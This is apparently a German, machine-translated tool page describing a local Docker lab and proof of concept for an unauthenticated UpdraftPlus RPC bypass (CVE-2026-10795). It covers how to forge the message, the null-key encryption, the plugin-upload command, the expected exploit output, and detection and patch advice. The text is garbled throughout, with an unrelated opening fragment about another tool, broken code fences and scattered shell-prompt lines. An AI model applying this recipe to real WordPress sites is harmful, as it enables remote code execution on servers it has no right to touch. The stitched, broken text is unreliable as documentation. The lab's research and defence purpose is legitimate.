  • gen: generiert die Provider-Konfiguration für scouter basierend auf den vom spezifischen Treiber unterstützten Ressourcen, die erstellte Konfigurationsdatei wird im Verzeichnis $HOME/.scouter/provider_name/ abgelegt.

Der Befehl sync bietet 2 Optionen:

  • on: führt die Konfigurationssynchronisierung durch
  • off: überspringt die Konfigurationssynchronisierung```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
root@kitploit:~
Laufende Dienste überprüfen:```bash
docker compose ps

Erstellen und aktivieren Sie eine virtuelle Python-Umgebung:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
Führen Sie den Standard-ID-Nachweis gegen das verwundbare Ziel aus:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Führen Sie den gleichen Beweis gegen das gepatchte Ziel durch:```bash python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Das Skript erfordert absichtlich die Option `--url`. Dies zwingt den Tester, das Ziel explizit auszuwählen, anstatt beide Dienste automatisch anzugreifen.

## PoC-Verwendung

Standardverhalten:```bash
python3 poc/poc.py --url <local_target_url>

Beispiel eines verwundbaren Ziels:```bash python3 poc/poc.py --url http://127.0.0.1:8081

root@kitploit:~
Beispiel gepatchtes Ziel:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Optionale Nur-Ping-Validierung:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082

root@kitploit:~
Unterstützte Optionen:

| Option      | Erforderlich | Zweck                                                 |
| ----------- | ------------ | ----------------------------------------------------- |
| `--url`     | Ja           | Lokale Laborziel-URL                                    |
| `--ping`    | Nein         | Führe harmlose Ping-Validierung anstelle von ID-Nachweis durch |
| `--timeout` | Nein         | HTTP-Timeout in Sekunden. Standardwert: `15`                  |

Akzeptierte Ziel-Hosts:```text
127.0.0.1
localhost
::1

Der PoC lehnt standardmäßig nicht-lokale Ziele ab.

Wie der PoC funktioniert

Der PoC läuft auf dem Host-Rechner und sendet HTTP-Anfragen an die freigegebenen Docker-Dienste.

Die Standardaktion des PoC ist der ID-Nachweis.

Der Ablauf auf hoher Ebene ist:```text

  1. Receive explicit --url target from the tester
  2. Refuse non-local targets
  3. Build a marker WordPress plugin ZIP in memory
  4. Create a forged UpdraftCentral RPC message
  5. Send command plugin.upload_plugin through format=1
  6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
  7. Install and activate the marker plugin
  8. Request /wp-json/cve-lab/v1/id
  9. Print the hard-coded /usr/bin/id output
root@kitploit:~
Das Marker-Plugin ist nicht als eigenständige Plugin-Datei im Repository gespeichert. Es wird vom PoC im Speicher erzeugt.

Der gefälschte RPC-Befehl lautet:```text
plugin.upload_plugin

Die RPC-Daten enthalten:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true

root@kitploit:~
Das PoC verschlüsselt die innere JSON-RPC-Nachricht mit:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

Es enthält auch einen absichtlich ungültigen RSA-verschlüsselten symmetrischen Schlüsselblock.

In der anfälligen Version wird der RSA-Entschlüsselungsfehler nicht zurückgewiesen. Die Nachricht gelangt in den vorhersagbaren Nullschlüssel-Entschlüsselungspfad und der gefälschte Befehl wird ausgeführt.

In der gepatchten Version wird der ungültige symmetrische Schlüssel zurückgewiesen und der gefälschte Befehl wird nicht ausgeführt.

Warum --ping existiert

Die Option --ping ist ein Debugging-Hilfsmittel.

Es validiert nur die Crypto-Bypass- und RPC-Dispatch-Grenze. Es lädt kein Plugin hoch und führt /usr/bin/id nicht aus.

Verwenden Sie --ping, wenn der Standard-ID-Nachweis nicht funktioniert und der Fehler isoliert werden muss.

Wenn --ping fehlschlägt, liegt das Problem wahrscheinlich vor der Befehlsausführung:```text wrong key state wrong key_name message format issue encryption mismatch listener not active patched behavior

root@kitploit:~
Wenn `--ping` erfolgreich ist, aber der ID-Nachweis fehlschlägt, liegt das Problem wahrscheinlich nach dem Dispatch:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

Erwartetes Ping-Verhalten:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED

root@kitploit:~
## Erwartete Ergebnisse

### Anfälliges Ziel

Befehl:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Erwartetes verwundbares Signal:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2

ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
### Gepatchtes Ziel

Befehl:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Erwartetes gepatchtes Signal:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False Body prefix : ''

ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
## Manuelle Überprüfungsbefehle

Dienstzustand prüfen:```bash
docker compose ps

Untersuche die Metadaten des verwundbaren Dienstes:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

root@kitploit:~
Inspizieren Sie die Metadaten des gepatchten Dienstes:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Laufzeit-Plugin-Status prüfen:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

root@kitploit:~
Führen Sie eine reine Ping-Validierung durch:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Run-ID-Nachweis:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Überprüfen Sie den Marker-Endpunkt direkt nach dem Ausführen des PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

Erwartet:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route

root@kitploit:~
Überprüfen Sie die installierten Plugins im anfälligen Container:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

Überprüfe installierte Plugins im gepatchten Container:```bash docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

root@kitploit:~
Der angreifbare Dienst sollte nach Ausführung des PoC das Marker-Plugin enthalten. Der gepatchte Dienst sollte dies nicht.

## Auswirkungen

Dieses Lab zeigt, dass ein nicht authentifizierter Angreifer eine UpdraftCentral-RPC-Nachricht fälschen kann, die bei vorhandenem geeigneten UpdraftCentral-Schlüsselzustand zur privilegierten Befehlsausführung in UpdraftPlus 1.26.4 gelangt.

Die demonstrierte Auswirkung ist RCE-ähnlich, da der gefälschte RPC-Befehl legitime Plugin-Verwaltungsfunktionen missbraucht:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

Der lokale Nachweis zeigt die Ausführung als Webserver-Benutzer:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
Die Schwachstellenkategorie bleibt Authentifizierungsumgehung. Das Ergebnis der Codeausführung ist eine verkettete Auswirkung durch privilegierte Installation von WordPress-Plugins.

## Erkennung und Überwachung

Zu den potenziellen Indikatoren gehören nicht authentifizierte POST-Anfragen an die WordPress-Startseite, die UpdraftCentral-RPC-Felder enthalten:```text
format
key_name
udrpc_message
signature

Verdächtige Merkmale:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request

root@kitploit:~
Lokale Laborindikatoren:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

Ideen zur Überwachung der Produktion:

  • Überprüfen Sie die Webzugriffslogs auf POST-Anfragen, die udrpc_message enthalten.
  • Alarmieren Sie bei format=1 RPC-Anfragen von nicht vertrauenswürdigen Quellen.
  • Überprüfen Sie die Logs von UpdraftPlus und UpdraftCentral, falls verfügbar.
  • Überwachen Sie unerwartete Plugin-Installationen oder -Aktivierungsereignisse.
  • Überwachen Sie Dateisystemänderungen unter wp-content/plugins.
  • Überprüfen Sie Administratoren und Remote-Management-Integrationen.
  • Überprüfen Sie, ob UpdraftPlus älter als die reparierte Version ist.
  • Entfernen Sie veraltete oder ungenutzte UpdraftCentral-Fernsteuerungsschlüssel.

Schadensbegrenzung und Patch-Hinweise

Aktualisieren Sie UpdraftPlus auf Version 1.26.5 oder neuer.

Die gepatchte Version lehnt ungültige entschlüsselte symmetrische Schlüssel vor der symmetrischen Entschlüsselung und dem Dispatch von Befehlen ab.

Empfohlene Schritte zur Schadensbegrenzung:

  • Aktualisieren Sie UpdraftPlus.
  • Überprüfen Sie, ob die UpdraftCentral-Fernsteuerung aktiviert oder konfiguriert wurde.
  • Entfernen Sie veraltete UpdraftCentral-Schlüssel, wenn keine Fernsteuerung benötigt wird.
  • Überprüfen Sie die WordPress-Administratorkonten.
  • Überprüfen Sie installierte Plugins auf unerwartete Ergänzungen.
  • Überprüfen Sie Zugriffslogs auf verdächtige udrpc_message-Anfragen.
  • Wechseln Sie die Anmeldeinformationen, wenn ein Kompromiss vermutet wird.
  • Stellen Sie aus bekannten, guten Backups wieder her, wenn eine unbefugte Plugin-Installation bestätigt ist.
  • Verwenden Sie eine WAF-Regel nur als temporäre Schicht, nicht als Ersatz für das Patchen.

Der wichtigste Fix ist die Verwendung einer gepatchten UpdraftPlus-Version, die ungültige symmetrische Schlüssel vor der Entschlüsselung und dem Dispatch ablehnt.

Bereinigung

Stoppen Sie Container und entfernen Sie Netzwerke:```bash docker compose down --remove-orphans

root@kitploit:~
Container, Netzwerke und Volumes entfernen:```bash
docker compose down -v --remove-orphans

Python virtuelle Umgebung entfernen:```bash rm -rf venv

root@kitploit:~
Lokale Beweisdateien entfernen, falls erstellt:```bash
rm -rf evidence/

Sicherheitsgrenzen

Dieses Labor dient ausschließlich der lokalen Sicherheitsforschung und kontrollierten Demonstrationen.

Führen Sie den PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

Verwenden Sie in diesem Labor keine echten Anmeldeinformationen, Produktionsgeheimnisse oder externe Ziele.

Der PoC ist absichtlich auf lokale Docker-Dienste beschränkt, wie zum Beispiel:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082

root@kitploit:~
Der PoC lehnt nicht-lokale Ziele standardmäßig ab.

Das Marker-Plugin implementiert keinen generischen Befehlsausführungsparameter. Es stellt nur einen fest codierten lokalen Proof-Endpunkt bereit, der `/usr/bin/id` ausführt.

Dieses Labor enthält nicht:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

Das Ziel ist es, eine bestimmte technische Bedingung in einer kontrollierten Umgebung zu demonstrieren:```text unauthenticated forged RPC

  • vulnerable format=1 validation behavior
  • failed RSA decrypt not rejected
  • predictable symmetric decrypt path
  • privileged UpdraftCentral command dispatch
  • plugin upload and activation
  • patched version blocks before dispatch
root@kitploit:~
## Referenzen

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Wordfence Schwachstellen-Datenbank: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Patchstack Datenbank: UpdraftPlus
  https://patchstack.com/database/

* WordPress.org Plugin: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* WordPress.org Plugin SVN
  https://plugins.svn.wordpress.org/updraftplus/

* WordPress.org Plugin SVN Tags
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: Authentifizierungs-Spickzettel
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: Leitfaden für Web-Sicherheitstests
  https://owasp.org/www-project-web-security-testing-guide/
Tool herunterladen
PoC-VerhaltenGetestetes QuellcodeverhaltenErwartet in 1.26.4Erwartet in 1.26.5
POST mit format=1 sendenListener akzeptiert Legacy-RPC-FormatFortgesetztFortgesetzt zur gepatchten Entschlüsselungsprüfung
Gültige Signatur auslassenSignaturprüfung gilt nur für format >= 2Signatur nicht erforderlichSignatur nicht erforderlich für format=1, aber später blockiert
Ungültigen RSA-Block sendenRSA-Entschlüsselung gibt ungültigen symmetrischen Schlüssel zurückUngültiger Schlüssel erreicht setKey()Ungültiger Schlüssel abgewiesen
JSON mit Nullschlüssel/Null-IV verschlüsselnModelliert das Fallback-Verhalten von phpseclib nach setKey(false)Entschlüsselt in gültiges JSONEntschlüsselt nicht
command=ping setzenTestet nur Crypto-Bypass und DispatchPING DISPATCHEDPING NOT DISPATCHED
command=plugin.upload_plugin setzenRuft die UpdraftCentral-Plugin-Upload-Methode aufPlugin-ZIP installiertBefehl nicht erreicht
activate=true setzenLöst activate_plugin() nach der Installation ausMarkierungs-Plugin aktivMarkierungs-Plugin nicht vorhanden
/wp-json/cve-lab/v1/id anfragenPrüft, ob Markierungs-Plugin-Code ausgeführt wirdGibt uid=33(www-data) zurückGibt 404 rest_no_route zurück
ServiceKomponenteVersion / Rolle
vulnWordPress + UpdraftPlusUpdraftPlus 1.26.4 anfälliges Ziel
patchedWordPress + UpdraftPlusUpdraftPlus 1.26.5 gepatchtes Ziel
vuln_dbMariaDBDatenbank für das anfällige Ziel
patched_dbMariaDBDatenbank für das gepatchte Ziel
vuln_setupWP-CLI setup serviceInstalliert WordPress, aktiviert UpdraftPlus, erzeugt lokalen Schlüsselstatus
patched_setupWP-CLI setup serviceInstalliert WordPress, aktiviert UpdraftPlus, erzeugt lokalen Schlüsselstatus